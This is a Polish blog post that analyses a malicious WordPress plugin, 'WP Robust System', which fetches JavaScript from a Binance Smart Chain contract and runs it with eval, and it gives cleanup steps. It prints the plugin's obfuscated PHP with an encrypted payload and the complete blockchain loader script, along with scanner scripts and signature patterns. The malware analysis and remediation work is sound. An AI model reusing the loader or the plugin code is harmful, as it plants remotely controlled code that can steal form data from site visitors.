Analiza złośliwego pluginu WordPress: Techniczny raport infekcji typu Web3

WordPress – infekcja typu Web3 – infekcja z blockchaina -„fake_update.8.27”
WordPress – infekcja typu Web3
W tym artykule przedstawię ci szczegółową analizę zagrożenia, które zostało zidentyfikowane w zainfekowanym pluginie WordPress o nazwie „WP Robust System”. W analizowanym przypadku złośliwe działanie wtyczki „WP Robust System” ujawniło się dopiero na etapie renderowania HTML. Co więcej, wstrzykiwany kod JavaScript typu Web3 nie był obecny ani w bazie danych, ani w statycznych plikach .php
lub .js
. Z tego powodu infekcja wymagała dynamicznej inspekcji warstwy frontendowej.
🧬WordPress – infekcja typu Web3 – Nazwa zagrożenia
Złośliwe komponent plugin WP Robust System
Rodzaj: Web3 / Smart Contract Injection „fake_update.8.27”
Złośliwy kontrakt: xxxxxdda8B285
xxxxxxxx (BSC Mainnet)
🧠 Technika infekcji i maskowania – typu Web3
Wtyczka wykorzystuje zestaw zaawansowanych technik ukrywania i wstrzykiwania kodu:
1. Ukryte ładowanie zewnętrznych bibliotek JS:
web3.min.js
– do komunikacji z blockchainem Ethereum/Binance Smart Chain.crypto-js.min.js
– do lokalnego dekodowania danych.- Biblioteki są ładowane w tle poprzez funkcje
wp_enqueue_script
.
Przykład:
<?php
function WFHbEMaAum() {
wp_enqueue_script('web3', 'https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js', array(), null, false);
}
function dFNxlvJTVz($nOzTEvcT) {
return base64_decode($nOzTEvcT);
}
2. Dekodowanie danych i późne uruchomienie:
- Ładowane dane są zainicjalizowane metodami
base64_decode
,openssl_decrypt
, a następnie rozpakowane z użyciempako.ungzip
po stronie przeglądarki. - Ostateczny złośliwy kod (payload) jest dynamicznie wyciągany z blockchaina z pomocą kontraktu Web3 i wywoływany przez
eval
.
Fragment JS widoczny w kodzie źródłowym:
javascripconst s = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), {to:"string"});
eval(`(async()=>{${s}})()`);
3. Ukrycie źródła infekcji
- Kod PHP pluginu nie zawiera bezpośrednich śladów fraz takich jak
web3.eth
,tokyoSkytree
czybsc-dataseed
. - Złośliwy kod HTML/JS jest wstrzykiwany dopiero w końcowej fazie renderowania strony – możliwe wykorzystanie
shutdown_function
luboutput buffering
. - Podejrzenie: modyfikacja output streamu HTML przez
ob_start()
+ob_get_clean()
.
🧱 Struktura plików i analiza – Web3
Pliki kluczowe:
inline-core-decoder.php
: zawiera logiczne centrum dekodowania i wywoływania JS w odpowiednim momencie.
<?php
function tebXpHEWju() {
$nOzTEvcT = 'u9xFUsu8zpa8rIe5k4B0WAhUUxyMK+pgYigr0rAKI2DusxjTMsYwFNpVl8hv4NyFDazjFECRyuJ0CVKG3CyaEkHRkL0aWpTGORu6jMBLVIqTbM48BeHujNhbHDH3jsKIqzLN7+MPjws9I6VhsZzU5Jr16x3p7fQslHbH1DzHWUM2w/XPf3iuDgK3hTLr86FrqI53WElp5vEU+/yLl3SMVTfevhieAv2EAEK9zBWT5uulHV3QWA6bFzdOfwGGQjlgFyUpNQS9DiRKpOmdS+4ZIvH9j+V3yP6e2pIX9o40Pu8DGbBNoXeuz15mxH0pXJ4Aex1QivMfGj8lZUOcEnU/odGUkD+qcGlPgpQpHYZQf9ANlXmekZ/+t5Xlg+bFtNkRVnwa71t1BtYkqnvpVvkn7plgjx2o+22cCOMQYuk7YJUc3qK8mDSEVvbfBXxAyr5+rUfY1duTMMqgVRrSjmx/sJpGokrjL8TBGTGFOc70PwQQQpX1iKxJT+n50GzfZkXsgTLPNTBGVMAjr4Sa/NCUMx4CrfwMILUgCXX4+Lz89/SBHUZI6d5oDuo83n9XVnhSUc7hfjrG+THRQtHCbfhMiZUmLbF7YjNtEW9/edjelaHz7WBm1hhZUm7xunIot9HN1uqbJx9p752cceRKKeM6pTVZHtoOT10Ipd2P+lj0vcANUxgN9JIVtMQv6QKFIPx0v5gfF7VMkxipRQhPv0Rnqr5Zfb3Y+TJKL+3tr+1VTmXbW1Cun6b6AC9+zUywPo2mvUxWEHIlEOPjYS+MT4W+nCpZoQIsj7BMDmBHtO4mVeDdR52noxApTWxZBiQbb2IXl2JRLxDkN2vJ3vThV6Dbua+QUdquXxS4c42MwhpVWV+fEylak8TaZItE+4RjCCFrsKgZDJErKk/RU3QML3IXLatXuxr1Jsv/nSZVkowwLY8qnZKQ5uqXHC7sPgjzOqD3a+p+IC6W+eClFLGrZblldpnaOhyBXamiM0BanLt/X9fHjtX6707SMRfBDw3OhLbel0JHXpPDe/C5hXJ21T/fTEoqDh3CaNTGcxWUeCparUGglZ89J23M34mb89TeWnue7aIkLDR7O/f5hYb8LMI0nRUpnMU6+yfkyfKfBAwdqy2OAgY6RIx/QkxhAf2FtPNpEtr97FXhXw7Q+riXG3PjnyWub450Leu7sgx5IILcCSVGME19YCzUHiMNnEweCDzVvgO1PIYdx8lKMdqMgV4EQ5nIA6C8iymaU0UPFBmy7VYGCPv0cvpJCkMkD7+TaayL2iYaQRzh3J8l43uHFJwIvbb6vHhaFed2hEAp8ftynoKG3bh7mPV2NsJIa8nX8Mbuhb0sNPuqXs9tkAJY+Lyaq9UKVtKq/8DKX9181wNYvveBnD1i65t+KAIPEWR56vLTq0+qaZArjPqSHi4EHHxb1/ArS4JlmoZHCyrfgkKFcy195aWWAYb65BM0NHzFdpojujNw7/gsfAV/3u45F6bQTbAYzFes3MY3D6G9fqe1Agj8EgGut14BMWewQAD+yJ5x4TsxCWpl7xNUx4CAbNOVxDRdFlIGADOEu4wR+UxOAwwzyE8GbkZ08Tz8DEHYdhHglaHBWPz5R6CBcI+eZl+G60p2upbi092Z/xoBrJE/b8IFmyh7jcYl4GmkgNC9uBsK';
$kPkGIRPN = '/utTBhBUiQ0GrV7QWeEV/g==';
$zZjkhFAW = 'KgtiUR++1IOjFMS9CfdfLg==';
$TuWAMZFJ = JOFGZQxcSQ($kPkGIRPN);
$rzIaDuHx = dFNxlvJTVz($nOzTEvcT);
$HwYwqLII = rbdbPhtfTs($rzIaDuHx, $TuWAMZFJ, $zZjkhFAW);
$DLeNgaRr = "(async()=>{" . $HwYwqLII . "})()";
wp_add_inline_script('web3', $DLeNgaRr);
}
role-capabilities.php
: ładuje zewnętrznyweb3.min.js
, sugerując intencjonalne użycie Web3 do komunikacji z blockchainem.
<?php
function WFHbEMaAum() {
wp_enqueue_script('web3', 'https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js', array(), null, false);
}
function dFNxlvJTVz($nOzTEvcT) {
return base64_decode($nOzTEvcT);
}
functions-helper.php
: dekodowanie i deszyfrowanie ładunku.
<?php
function odEfJKFBmR() {
wp_enqueue_script('crypto-js', 'https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js', array(), null, false);
}
function rbdbPhtfTs($rzIaDuHx, $TuWAMZFJ, $zZjkhFAW) {
$kzyzuTpI = hash('sha256', $zZjkhFAW, true);
return openssl_decrypt($rzIaDuHx, 'AES-256-CBC', $kzyzuTpI, OPENSSL_RAW_DATA, $TuWAMZFJ);
}
function fyXJOnYWnn() {
$WfIjUTWW = rand(76, 168);
$LuxvyqME = rand(8, 26);
$QAuYPOgl = 0;
for($sCvRh = 0; $sCvRh < $LuxvyqME; $sCvRh++) {
$QAuYPOgl += ($sCvRh % 2 == 0 ? $sCvRh * 2 : $sCvRh * 3);
}
// Дополнительные операции
$QAuYPOgl = ($QAuYPOgl + $WfIjUTWW) ^ ($LuxvyqME << 1);
return $QAuYPOgl;
}
plugin.php
: inicjuje strukturę pluginu i ładuje złośliwe funkcje poprzezadd_action
.
<?php
/*
Plugin Name: WP Robust System
Plugin URI: https://www.wprobustsystem.com
Description: This plugin provides advanced core processes for optimal performance and enhanced security with comprehensive support for core functions, system hooks, and integration layers.
Version: 1.5.2
Author: James Miller
Author URI: https://www.jamesmiller.com
License: GPL2
*/
require_once __DIR__ . '/functions-helper.php';
require_once __DIR__ . '/cache-manager.php';
require_once __DIR__ . '/ajax-handlers.php';
require_once __DIR__ . '/role-capabilities.php';
require_once __DIR__ . '/post-types.php';
require_once __DIR__ . '/inline-core-decoder.php';
add_action('wp_enqueue_scripts', 'IAMsktDhHZ');
add_action('wp_enqueue_scripts', 'tebXpHEWju');
Nazwy funkcji:
Funkcje o pseudolosowych nazwach (IAMsktDhHZ
, iBhMkSunsL
, rbdbPhtfTs
) służą utrudnieniu identyfikacji ich przeznaczenia oraz utrudnieniu detekcji w oparciu o reguły heurystyczne.
Mechanizm aktywacji:
add_action('wp_enqueue_scripts', 'IAMsktDhHZ');
add_action('wp_enqueue_scripts', 'tebXpHEWju');
Funkcje te uruchamiają ładowanie JS tylko w kontekście renderowania strony (frontend).
🔬 Detekcja i trudność w wykryciu – WordPress – infekcja Web3

Złośliwe działanie było praktycznie niewykrywalne:
- Nie znajdowało się w żadnym
post_content
w bazie danych. - Nie było widoczne w backupie
.wpress
ani strukturze plików themes. eval()
iatob()
były ukryte wewnątrz skryptu JS uzyskiwanego z kontraktu Web3.- Backend (admin) pozostawał czysty – infekcja działała tylko na frontendzie.
- Tradycyjne skanery AV lub Wordfence nie wykrywały tej infekcji bez głębszej analizy.
🛡️ Potencjalne skutki infekcji
- Dynamiczne ładowanie kodu JavaScript z blockchaina umożliwia:
- Podmianę zawartości strony.
- Kradzież danych (np. z formularzy).
- Ładowanie złośliwych skryptów z zewnętrznych serwerów.
- Omijanie tradycyjnych mechanizmów bezpieczeństwa (np. WAF).
- Trwałość:
- Kod jest przechowywany poza środowiskiem hostingowym — na blockchainie.
- Po czystej reinstalacji strony infekcja może się odtworzyć po ponownym aktywowaniu pluginu.
- Zdalne zarządzanie:
- Web3 smart contract umożliwia zmianę ładunku bez potrzeby modyfikacji kodu na serwerze.
- Operator infekcji może zmieniać treść JS przez
contract.methods.tokyoSkytree().call()
.
📁 Wnioski z analizy – WordPress – infekcja typu Web3

Wtyczka „WP Robust System” jest złośliwym komponentem służącym do infekcji Web3, wykorzystującym zaawansowane techniki maskowania oraz interakcję z blockchainem do dynamicznego pobierania złośliwego ładunku. To przykład nowoczesnej, trudnej do wykrycia infekcji JS w ekosystemie WordPress.
Jeśli na Twojej stronie znajdowały się symptomy obecności web3.eth
, bsc-dataseed.binance.org
, tokyoSkytree
– istnieje bardzo wysokie prawdopodobieństwo, że źródłem była właśnie ta wtyczka.
⚠️ Podsumowanie – wyjątkowo podstępne zagrożenie
Wtyczka WP Robust System
stanowiła wyjątkowo zaawansowane i trudne do wykrycia zagrożenie. Mechanizm infekcji opierał się na:
- Szyfrowaniu ładunku (AES-256-CBC) — zaszyfrowany kod był odszyfrowywany dopiero podczas działania strony, nie pozostawiając śladów w plikach źródłowych ani bazie danych.
- Dekompresji GZIP i kodowaniu base64 — kombinacja
atob()
,pako.ungzip()
orazeval()
czyniła kod niemal niewidocznym dla klasycznych skanerów. - Dynamicznym ładowaniu z kontraktu Web3 (blockchain) — złośliwy kod nie istniał fizycznie w środowisku WordPressa, był pobierany z blockchaina przy każdym wejściu na stronę.
- Sprytnej integracji z WordPressem — infekcja była aktywna tylko w fazie generowania frontendu (
wp_enqueue_scripts
), więc backend był pozornie czysty. - Zaciemnianiu intencji — przez losowe nazwy funkcji, brak słów kluczowych w kodzie, kod podzielony między wiele plików.
📌 Zagrożenie nie zostało wykryte ani przez Wordfence, ani przez AIOS (All-in-One WP Security), co pokazuje, że nawet najlepsze wtyczki nie są odporne na nowoczesne metody ukrywania złośliwego kodu.
✅ Słuszna reakcja Google -> WordPress – infekcja typu Web3
Domena została oznaczona przez Google jako niebezpieczna — i słusznie. Mimo że na pierwszy rzut oka strona wyglądała normalnie, w kodzie HTML znajdował się aktywnie wykonywany, zdalnie sterowany i zaszyfrowany kod JavaScript, mający możliwość dalszego ładowania dowolnych szkodliwych komponentów.
To potwierdza, że analityka bezpieczeństwa Google działa skutecznie, reagując nie tylko na znane wzorce, ale również na dynamicznie zmieniające się zagrożenia typu Web3, z wykorzystaniem blockchain jako źródła ładunku.

✅ KROK 1: Sprawdzenie bazy danych — wp_posts
Jeśli masz dostęp do phpMyAdmin:
- Wejdź w zakładkę SQL i wklej:
SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%atob(%'
OR post_content LIKE '%pako.ungzip(%'
OR post_content LIKE '%bsc-dataseed%'
OR post_content LIKE '%document.addEventListener("DOMContentLoaded%"';
- Sprawdź, czy jakiś post (np. strona Kontakt) zawiera ten dziwny JS.
➡️ Jeśli znajdziesz – kliknij „Edytuj” i usuń cały fragment JS.
🔍 Krok 2: Przeszukujemy wp_postmeta
Wyszukujemy metadane osadzone przez page buildery, np. WPBakery lub Elementor:
SELECT post_id, meta_key
FROM wp_postmeta
WHERE meta_value LIKE '%web3.eth.Contract%';
I analogicznie dla tokyoSkytree
:
SELECT post_id, meta_key
FROM wp_postmeta
WHERE meta_value LIKE '%tokyoSkytree%';
🔍 Krok 3: Szukamy w wp_options
(WordPress – infekcja typu Web3)
✅ Uniwersalne zapytanie: przeszukaj całą bazę po słowie kluczowym
Wklej to do SQL w phpMyAdmin (upewnij się, że baza nazwa_twoej_bazy
jest wybrana
SELECT table_name, column_name
FROM information_schema.columns
WHERE table_schema = 'nazwa_twojej_bazy'
AND data_type IN ('varchar', 'text', 'longtext')
AND column_name IS NOT NULL;
⬆️ To da Ci listę tabel i kolumn tekstowych, które warto przeszukać.
✅ Krok 4: Uruchom zapytania SQL w phpMyAdmin
Przejdź do zakładki „SQL” i wykonuj kolejno te zapytania:
🔍 1. Wyszukaj złośliwy kod wewnątrz wp_posts
(typowe miejsce infekcji)
SELECT ID, post_title, post_type, post_status
FROM wp_posts
WHERE post_content LIKE '%web3.eth.Contract%';
🔁 Powtórz to samo z innymi sygnaturami:
SELECT ID, post_title, post_type, post_status
FROM wp_posts
WHERE post_content LIKE '%tokyoSkytree%';
SELECT ID, post_title, post_type, post_status
FROM wp_posts
WHERE post_content LIKE '%web3-js-after%';
SELECT ID, post_title, post_type, post_status
FROM wp_posts
WHERE post_content LIKE '%eval(%';
🔍 2. Sprawdź wp_postmeta
dla osadzeń JS (np. Elementor, WPBakery, ACF)
SELECT post_id, meta_key
FROM wp_postmeta
WHERE meta_value LIKE '%web3.eth.Contract%';
🔍 3. Sprawdź wp_options
— np. osadzone skrypty w nagłówkach, stopkach, opcjach motywu
SELECT option_name
FROM wp_options
WHERE option_value LIKE '%web3.eth.Contract%';
🔍 4. Sprawdź hooki motywu (czasem malware jest zainstalowany jako hook)
SELECT option_name
FROM wp_options
WHERE option_name LIKE '%_hook%';
✅ KROK 4: Skan katalogów WordPressa
Jeśli masz dostęp do SSH (terminal na hostingu), możesz użyć tego polecenia:
grep -rni 'atob(' /sciezka/do/wordpressa/
grep -rni 'bsc-dataseed(' /sciezka/do/wordpressa/
grep -rni 'ungzip(' /sciezka/do/wordpressa/
lub ogólnie:
grep -rni 'eval\|base64\|pako\|document.addEventListener' wp-content/
Jeśli nie masz SSH, możesz:
- Zainstalować darmowy skaner AI-Bolit
- Albo przejrzeć katalogi w
wp-content/uploads
iwp-content/plugins
– szukaj plików.php
, które nie powinny tam być.
✅ Źródło strony – która strona ma złośliwy kod
https://sitecheck.sucuri.net/ – https://sitecheck.sucuri.net/
Przy każdym wpisie lub stronie gdy podglądam żródło strony ( ctrl + U ) jest wpis :
(async()=>{document.addEventListener("DOMContentLoaded",async()=>{try{const web3=new Web3("https://bsc-dataseed.binance.org/"),contract=new web3.eth.Contract([{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"orchidABI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"orchidAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merlionABI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merlionAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}],"0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53"),orchidABI=JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()),c=>c.charCodeAt(0)),{to:"string"})),orchidAddress=await contract.methods.orchidAddress().call(),orchid=new web3.eth.Contract(orchidABI,orchidAddress),s=pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()),c=>c.charCodeAt(0)),{to:"string"});eval((async()=>{${s}})())}catch(_){}});})().
🔍 Gotowe zapytania SQL do uruchomienia w phpMyAdmin
Skopiuj i wklej te zapytania jedno po drugim do zakładki SQL → każda linia to jedno zapytanie, które przeszukuje konkretną kolumnę:
SELECT * FROM `wp_actionscheduler_actions` WHERE `hook` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_actionscheduler_actions` WHERE `status` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_actionscheduler_actions` WHERE `args` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_actionscheduler_actions` WHERE `schedule` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_actionscheduler_actions` WHERE `extended_args` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_actionscheduler_groups` WHERE `slug` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_actionscheduler_logs` WHERE `message` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_audit_log` WHERE `username` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_audit_log` WHERE `ip` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_audit_log` WHERE `level` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_audit_log` WHERE `event_type` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_audit_log` WHERE `details` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_audit_log` WHERE `stacktrace` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_audit_log` WHERE `country_code` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_debug_log` WHERE `level` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_debug_log` WHERE `message` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_debug_log` WHERE `type` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_events` WHERE `event_type` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_events` WHERE `username` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_events` WHERE `ip_or_host` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_events` WHERE `referer_info` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_events` WHERE `url` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_events` WHERE `country_code` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_events` WHERE `event_data` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_global_meta` WHERE `meta_key1` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_global_meta` WHERE `meta_key2` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_global_meta` WHERE `meta_key3` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_global_meta` WHERE `meta_key4` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_global_meta` WHERE `meta_key5` LIKE '%web3.eth.Contract%';
SELECT * FROM `wp_aiowps_global_meta` WHERE `meta_value1` LIKE '%web3.eth.Contract%';
✅ Co robić po kolei? – WordPress – infekcja typu Web3
- Wklej każde zapytanie do zakładki SQL w phpMyAdmin (możesz wkleić kilka jednocześnie).
- Kliknij „Wykonaj” (Execute).
- Sprawdź, czy któryś z wyników zawiera złośliwy JS (z
web3.eth.Contract
,eval
,tokyoSkytree
, itp.) - Jeśli znajdziesz choć jeden rekord – podeślij mi jego zawartość i tabelę. Pomożę napisać bezpieczne zapytanie
DELETE
lubUPDATE
.
🧠 Po co to robimy? – WordPress – infekcja typu Web3
Wtyczki takie jak:
- All-In-One Security (AIOS)
- WPBakery / Elementor / RevSlider
- WooCommerce automaty
mogą zapisać dane lub hooki do dziwnych kolumn i tabel — i to właśnie tu może ukrywać się złośliwy payload.
✅ Możesz też użyć szukania z interfejsu phpMyAdmin:
🔍 Graficzne przeszukiwanie całej bazy (szybkie):
- W phpMyAdmin kliknij bazę danych
nazwa_twojej_bazy
- Wybierz z menu Szukaj (Search)
- W polu „Szukana fraza” wpisz:
web3.eth.Contract
- Zaznacz „Przeszukaj wszystkie tabele”
- Wybierz „Typ kolumny” =
text
lubwszystkie
- Kliknij „Wykonaj”
🔁 Powtórz z:
tokyoSkytree
web3-js-after
atob(
ungzip
❌ ZIDENTYFIKOWANA INFEKCJA (MALWARE) – infekcja typu Web3

W źródle strony znalazłem następujący podejrzany skrypt (obcięty dla czytelności):
<script type="text/javascript" id="web3-js-after">
/* <![CDATA[ */
(async()=>{document.addEventListener("DOMContentLoaded",async()=>{try{
const web3=new Web3("https://bsc-dataseed.binance.org/"),
contract=new web3.eth.Contract([{"inputs":[],"stateMutability":"nonpayable", ...
Ten kod:
- ładuje bibliotekę Web3.js (do komunikacji z blockchainem Ethereum lub BSC),
- następnie łączy się z kontraktem 0x3543279dccccccxxxxxxxxx1AABb8a1f4a1b8c37Ed53,
- pobiera z niego zainfekowany kod JavaScript, który jest następnie wykonywany dynamicznie (
eval(...)
).
To jest dokładnie malware typu malware?fake_update.8.27
, wykrywany przez Sucuri.
✅ TERAZ: pełna identyfikacja infekcji z poziomu środowiska PHP
Stworzymy testowy plik diagnostyczny, który:
- Wylistuje wszystkie załadowane pliki
- Pokaże, czy aktywne jest
auto_prepend_file
- Pozwoli potwierdzić, który plik dynamicznie wstrzykuje Web3
🔧 STWÓRZ PLIK diagnose.php
W public_html/
Wklej do niego:
<?php
echo "<pre>";
// Sprawdzenie include path
echo "INCLUDE_PATH:\n" . get_include_path() . "\n\n";
// Auto-prepend (czy serwer czegoś nie dopina):
echo "auto_prepend_file:\n";
echo ini_get('auto_prepend_file') . "\n\n";
// Wszystkie załadowane pliki PHP:
echo "Included files:\n";
print_r(get_included_files());
echo "\n\nLoaded extensions:\n";
print_r(get_loaded_extensions());
echo "</pre>";
?>
📌 Krok 2:
Wejdź w przeglądarce na:
https://twojastrona.pl/diagnose.php
📌 Automatyczny skrypt PHP, który przeskanuje i znajdzie źródło Web3
poniżej masz gotowy skrypt PHP, który możesz wrzucić do katalogu głównego WordPressa (np. public_html/
) i uruchomić przez przeglądarkę. Dostosuj frazy które chcesz odszukać
📄 Plik: scan_web3.php
<?php
/**
* Skanuje wszystkie pliki PHP, JS i HTML w podkatalogach WordPressa w poszukiwaniu złośliwego kodu Web3.
* Wypisuje nazwy i ścieżki plików zawierających podejrzane frazy (np. tokyoSkytree, web3.eth, atob, pako, eval).
*/
set_time_limit(600);
$start_path = __DIR__; // Skanuj od katalogu głównego
$patterns = [
'web3.eth',
'tokyoSkytree',
'bsc-dataseed',
'atob(',
'ungzip',
'pako',
'eval(',
'0x4174dda6684040Bf671AABb8a5f4a1b1c17Ed13'
];
echo "<pre>";
echo "🔍 Rozpoczynam skanowanie katalogu: $start_path\n\n";
$rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($start_path));
$found = [];
foreach ($rii as $file) {
if ($file->isDir()) continue;
$path = $file->getPathname();
$ext = pathinfo($path, PATHINFO_EXTENSION);
if (!in_array($ext, ['php', 'js', 'html'])) continue;
$content = file_get_contents($path);
foreach ($patterns as $pattern) {
if (stripos($content, $pattern) !== false) {
$found[] = [
'path' => $path,
'match' => $pattern
];
break;
}
}
}
if (count($found) === 0) {
echo "✅ Nie znaleziono podejrzanych ciągów Web3 w plikach PHP/JS/HTML.\n";
} else {
echo "⚠️ ZNALEZIONO podejrzane wystąpienia:\n\n";
foreach ($found as $item) {
echo "📄 " . $item['path'] . " — zawiera: \"" . $item['match'] . "\"\n";
}
}
echo "\n⏱️ Skanowanie zakończone.\n</pre>";
?>
☑️ Jak użyć: WordPress – infekcja typu Web3
- Zapisz ten kod jako
scan_web3.php
- Wgraj go do katalogu
public_html/
(lub katalogu WordPressa) - Otwórz w przeglądarce:
https://twoja_strona/scan_web3.php
- Odczytaj wyniki:
- ✅ brak infekcji
- ❗ lista plików, w których znaleziono podejrzane frazy
- Po wszystkim — usuń plik
scan_web3.php
, by nikt nie mógł go wykorzystać.
❗ HIPOTEZA KOŃCOWA – silnie potwierdzona – WordPress – infekcja typu Web3
Złośliwy kod Web3 JS:
- jest doklejany dynamicznie tylko podczas renderowania strony
- tylko przez określone żądania (Chrome, desktop, być może User-Agent)
- nie pochodzi z plików ani bazy danych
- jest dodawany przez backdoora, który działa tylko na aktywnym serwerze produkcyjnym
🎯 Najbardziej prawdopodobne lokalizacje ukrytego malware:
- 🔸 Tymczasowe pliki PHP / JS w:
wp-content/uploads/
wp-content/cache/
wp-content/mu-plugins/
wp-content/upgrade/
- 🔸 Infekcja serwera przez nieautoryzowany plik
.htaccess
,.ini
, lub.php
spoza WP - 🔸 Malware w katalogu motywu dziecka (jeśli używany) lub niestandardowego pluginu
- 🔸 Zewnętrzny JS ładowany dynamicznie z CDN — np. przez ukryty
wp_footer
hook
✅ Zaktualizowana wersja: analyze_output.php
jako samodzielny sniffer
Wklej ten nowy kod do pliku analyze_output.php
i wrzuć do głównego katalogu WordPressa (/public_html/
lub /www/
).
Działa niezależnie od routingu WordPressa i nie korzysta z WP $wp->main()
, więc nie trafi na 404.
<?php
/**
* Sniffer dynamicznego HTML-a — wykrywa skrypty Web3
* Uruchom na stronie: https://twoja_strona/analyze_output.php
*/
ob_start(function($html) {
$logfile = __DIR__ . '/output_web3_log.txt';
$matches = [];
if (preg_match('/web3\.eth\.Contract.*?<\/script>/is', $html, $matches)) {
$snippet = $matches[0];
$log = "🔍 WYKRYTO SKRYPT WEB3\n\n";
$log .= "🕒 Czas: " . date('Y-m-d H:i:s') . "\n\n";
$log .= "📄 Fragment HTML:\n" . $snippet . "\n\n";
$log .= "🔎 Backtrace (funkcje, które wygenerowały HTML):\n";
$trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
foreach ($trace as $entry) {
$log .= (isset($entry['file']) ? $entry['file'] : '[php internals]') .
(isset($entry['line']) ? ':' . $entry['line'] : '') . ' → ' .
(isset($entry['function']) ? $entry['function'] : '') . "\n";
}
file_put_contents($logfile, $log . "\n\n---\n\n", FILE_APPEND);
}
return $html;
});
// ⬇️ Załaduj WordPressa (ale bez routingu frontu!)
define('WP_USE_THEMES', true);
require_once __DIR__ . '/wp-load.php';
// Wyrenderuj jakąś stronę ręcznie – np. frontpage
$query = new WP_Query(['pagename' => 'kontakt']);
if ($query->have_posts()) {
while ($query->have_posts()) {
$query->the_post();
the_content();
}
wp_reset_postdata();
} else {
echo "Brak strony 'kontakt'";
}
📌 Instrukcja: WordPress – infekcja typu Web3
- Wgraj nowy
analyze_output.php
do/public_html/
- Następnie odwiedź w przeglądarce adres:
https://twojastrona/analyze_output.php
- Skrypt automatycznie spróbuje wyrenderować stronę „kontakt” — możesz jednak zmienić ją na inną, jeśli wolisz.
- Sprawdź plik:
/public_html/output_web3_log.txt
Jeśli zlokalizujesz infekcje
🔧 Zweryfikuj własność strony w Google Search Console
- Wejdź na:
👉 https://search.google.com/search-console - Zaloguj się na to samo konto Google, które ma dostęp do tej strony.
- Jeśli nie masz jeszcze dodanej witryny:
- Kliknij „Dodaj usługę” (Add property).
- Wybierz „Prefiks adresu URL” (łatwiejsza metoda) lub „Domena” (pełna kontrola).
- Zweryfikuj metodą np. przez plik HTML, tag DNS albo meta tag.
🚨 Sprawdź raport „Bezpieczeństwo” i poproś o weryfikację
- Po otwarciu Search Console:
- Wybierz swoją stronę z listy usług.
- Po lewej stronie wejdź w zakładkę:
🔍 „Problemy dotyczące bezpieczeństwa i ręczne działania” (Security issues)
- Zobaczysz szczegóły problemu, np.:
- Złośliwe oprogramowanie,
- Zhakowana treść,
- Niechciane przekierowania.
- Kliknij „Poproś o weryfikację” (Request a review):
- W formularzu opisz krótko co zostało zrobione (np. „usunięto zainfekowany plik
footer.php
, zaktualizowano WordPress, zmieniono hasła FTP, przeskanowano stronę”). - Możesz też dodać link do czystego skanu z sucuri.net jako dowód.
- W formularzu opisz krótko co zostało zrobione (np. „usunięto zainfekowany plik
📌 Google zwykle odpowiada w ciągu 1 do 3 dni roboczych.
✅ Przykład opisu do weryfikacji: WordPress – infekcja typu Web3
Strona została dokładnie sprawdzona i wyczyszczona z infekcji:
- Usunięto złośliwe pliki i podejrzany kod JavaScript z footer.php
- Zaktualizowano WordPress, motywy i wszystkie wtyczki
- Zmieniono wszystkie hasła (FTP, panel WP, baza danych)
- Strona została przeskanowana przez sucuri.net i wykazuje brak zagrożeń
Proszę o ponowną weryfikację i usunięcie ostrzeżenia.
Google Search Console
wykonałem skanowanie Skaner Sucuri:
https://sitecheck.sucuri.net/
Ten przypadek to doskonały przykład na to, jak prosty plugin może zawierać ukryte, zaawansowane zagrożenie, które wymyka się klasycznym metodom wykrywania.
Zachęcam do innych poradników:
Whisper system automatycznego rozpoznawania mowy
Przekierowywanie Portów na Routerze
Popraw bezpieczeństwo komputera
Sztuczna inteligencja – ChaptGPT
Serwis komputerowy Katowice
Anonimowość w sieci – Topowe programy
Przyspiesz działanie komputera